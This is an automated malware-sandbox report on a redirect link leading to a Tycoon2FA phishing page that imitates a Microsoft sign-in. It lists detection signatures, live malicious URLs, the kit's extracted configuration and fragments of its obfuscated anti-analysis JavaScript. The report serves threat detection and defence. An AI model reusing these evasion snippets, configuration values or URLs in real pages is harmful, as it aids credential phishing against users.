Create Interactive Tour

Windows Analysis Report
https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_E

Overview

General Information

Sample URL:	https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nk
Analysis ID:	1647084
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 1184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2376,i,10538209658328801481,10968597087965452481,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2508 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "YfHUv",
  "emailcheck": "0",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/yowScpWV08VlrEXL91MJ1eFZTqguTPKWaxVnnr16zV5wa83MFiijl",
  "gdf": "/gh75mQqx1n2Dk3ywxQCNx1pqg7GvFntcd120"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_90	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
0.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.2.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.2.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.0.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.16.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
0.5.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.0.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.6..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.17..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.2.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.2.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.6.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 23 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://zx.nhyyupvw.es/yowScpWV08VlrEXL91MJ1eFZTqguTPKWaxVnnr16zV5wa83MFiijl	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/ve5HClA9r3rInXOW55CCxGwczDAZn6wPQThkYl183il	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/GDSherpa-regular.woff2	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/GDSherpa-vf2.woff2	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/efhlPkmcsNf53p8AYXnleVbkhPZE3mijqeDQ4E5l6akrwoDtg78150	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/klHLUe0uNCmZ3iuCGFVX5eHyTols89Xa4wAuEJvwbmUFuenZcyz230	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/oppMeZe0xvbpg08Hkdpz3gUyV2x131F1yJ3tz12n4dDIs3UILrbR3Q2anToWOKLMkHGWseXyHHWQQcd231	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/kloXcVD2ghFxffj3wxjV8yzwfoHITvW15BXn78170	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/129GcDcdJBYNk8912	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/GDSherpa-vf.woff2	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/uvtgW0ZFM2nrSttk0VJtBHvlCjE67N9mBGr8ARYjXYb05zuuN6dL1VHDyJomPWZCm9gh260	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/GDSherpa-bold.woff	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/GDSherpa-regular.woff	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/uvrHkhbtqqgRHO76ophsOeJyI65mqHe12122	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/mnWgRjpYOJyJPaVixj6G8TZSpy1PP56btk9tvJb1TP2OyPI6KN5eX2RuzWuv220	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/wxj9FvgfYrm0DCkU7R3E0ZVRtwZjLNORj7eVrsYuG3bg6DT6IOZl4ab180	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/favicon.ico	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/ijYJTr8KLYS96poFBZtBndQAqklh4RLrK8fzeBXYQWWgR0SeNv12210	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/xyMnJfOyoOYokTNZFC32YwwqilhKk5QahjkelAKE6FLgy	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/oppIsj6CcZlBQupeRL6gh0ZlxRc7NGW5P5867139	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/abl4S9DqlRNd18pqJHQbcd30	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/56RUahGebwqKTECeqqijlaszPEuaj67109	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/rsWAxWeBNXIvEGMH6jGgTCNnXijD8Aym4Hc8ItMyGWAnmYYUNDLef197	Avira URL Cloud: Label: malware
Source: https://zx.nhyyupvw.es/GDSherpa-bold.woff2	Avira URL Cloud: Label: malware

Found malware configuration

Source: 1.16.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "YfHUv", "emailcheck": "0", "webname": "rtrim(/web9/, '/')", "urlo": "/yowScpWV08VlrEXL91MJ1eFZTqguTPKWaxVnnr16zV5wa83MFiijl", "gdf": "/gh75mQqx1n2Dk3ywxQCNx1pqg7GvFntcd120"}

Phishing

AI detected phishing page

Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'zx.nhyyupvw.es' does not match the legitimate domain for Microsoft., The URL contains a random string 'nhyyupvw' which is not associated with Microsoft., The domain extension '.es' is not typically associated with Microsoft's main services., The presence of input fields for 'Email, phone, or Skype' suggests an attempt to collect sensitive information, which is common in phishing sites. DOM: 1.4.pages.csv
Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'zx.nhyyupvw.es' does not match the legitimate domain for Microsoft., The URL contains a random string 'nhyyupvw' which is not associated with Microsoft., The domain extension '.es' is not typically associated with Microsoft's main services., The presence of input fields for 'Email, phone, or Skype' is typical for Microsoft services, but the URL does not match Microsoft's domain, raising suspicion. DOM: 1.6.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.6.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 0.6..script.csv, type: HTML
Source: Yara match	File source: 1.17..script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_90, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.16.d.script.csv, type: HTML
Source: Yara match	File source: 0.9.d.script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 0.5.d.script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.6.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.1..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://zx.nhyyupvw.es/iSHROnSonGoT/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob` and `decodeURIComponent` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 0.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://zx.nhyyupvw.es/iSHROnSonGoT/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of a debugger, and the attempt to redirect the user to an external domain (even if it's Google) are all strong indicators of malicious intent. Overall, this script poses a significant security risk and should be treated with caution.
Source: 0.6..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://zx.nhyyupvw.es/iSHROnSonGoT/... This script demonstrates high-risk behaviors, including dynamic code execution through the use of a Proxy object that evaluates decoded strings. The obfuscated nature of the code and the potential for remote code execution make this a high-risk script.
Source: 1.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools and redirects the user to a suspicious domain. Additionally, it includes functionality to disable common keyboard shortcuts and context menu, which is highly suspicious. The script also contains an interval function that appears to be a debugger trap, further indicating malicious intent. Overall, this script demonstrates a clear attempt to compromise the user's security and privacy, and should be considered a high-risk threat.
Source: 1.15..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()`, data exfiltration to potentially untrusted domains, and the use of obfuscated code/URLs. The script also exhibits moderate-risk behaviors such as external data transmission and the use of multiple fallback domains. While the script may have some legitimate functionality, the overall risk profile is high due to the presence of multiple malicious indicators.
Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, redirects to a blank page, and intercepts various keyboard and clipboard events to prevent common debugging and security analysis actions. Additionally, it includes an interval-based debugger trap that could potentially cause performance issues or system instability. Overall, this script demonstrates a high level of malicious intent and poses a significant security risk.
Source: 1.17..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://zx.nhyyupvw.es/56RUahGebwqKTECeqqijlaszPEu... This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()`, potential data exfiltration, and the use of obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.

Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ

HTTP Parser: Number of links: 0

Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://zx.nhyyupvw.es/iSHROnSonGoT/

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function WzapwDbdNk(event) { co...

Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ

HTTP Parser: Title: Secure Login For Account does not match URL

Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: Invalid link: Terms of use
Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: Invalid link: Privacy & cookies
Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: Invalid link: Terms of use
Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: Invalid link: Privacy & cookies

Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "yfhuv";var emailcheck = "0";var webname = "rtrim(/web9/, '/')";var urlo = "/yowscpwv08vlrexl91mj1efztqgutpkwaxvnnr16zv5wa83mfiijl";var gdf = "/gh75mqqx1n2dk3ywxqcnx1pqg7gvfntcd120";var odf = "/ghwx5cfacaqfdqp3wkgeutuvmwidzdn2gicd649";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/edg/i)){ browsername =...
Source: https://zx.nhyyupvw.es/iSHROnSonGoT/	HTTP Parser: function dtwzfjrdlk(){esezcnbwyi = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+rwr1vmlzaw9uic0gvhjhbnnmb3jtaw5nievkdwnhdglvbjwvdgl0bgu+ciagphn0ewxlpgogicagym9kesb7ciagicagigzvbnqtzmftawx5oianu2vnb2ugvuknlcbuywhvbwesiedlbmv2yswgvmvyzgfuyswgc2fucy1zzxjpzjskicagicagbwfyz2luoiawowogicagicbwywrkaw5noiawowogicagicbiywnrz3jvdw5klwnvbg9yoiajzjlmowy5owogicagicbjb2xvcjogizmzmzskicagih0kicagighlywrlcib7ciagicagigjhy2tncm91bmq6igxpbmvhci1ncmfkawvudcgxmzvkzwcsicm2ytexy2isicmyntc1zmmpowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzognjbwecaymhb4owogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogm3jlbtskicagicagzm9udc13zwlnahq6igjvbgq7ciagicb9ciagicbozwfkzxigccb7ciagicagigzvbnqtc2l6ztogms4ycmvtowogicagicbtyxjnaw4tdg9woiaxmhb4owogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogcmdiysgyntusidi1nswgmju1lcawljkpowogi...

Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ

HTTP Parser: <input type="password" .../> found

Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: No favicon
Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: No favicon

Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: No <meta name="author".. found
Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: No <meta name="author".. found

Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: No <meta name="copyright".. found
Source: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.65.164:443 -> 192.168.2.4:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.110.180.34:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.110.180.34:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.124:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.124:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.3:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49808 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: email.double.serviceautopilot.com to https://zx.nhyyupvw.es/ishronsongot/

Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.99
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

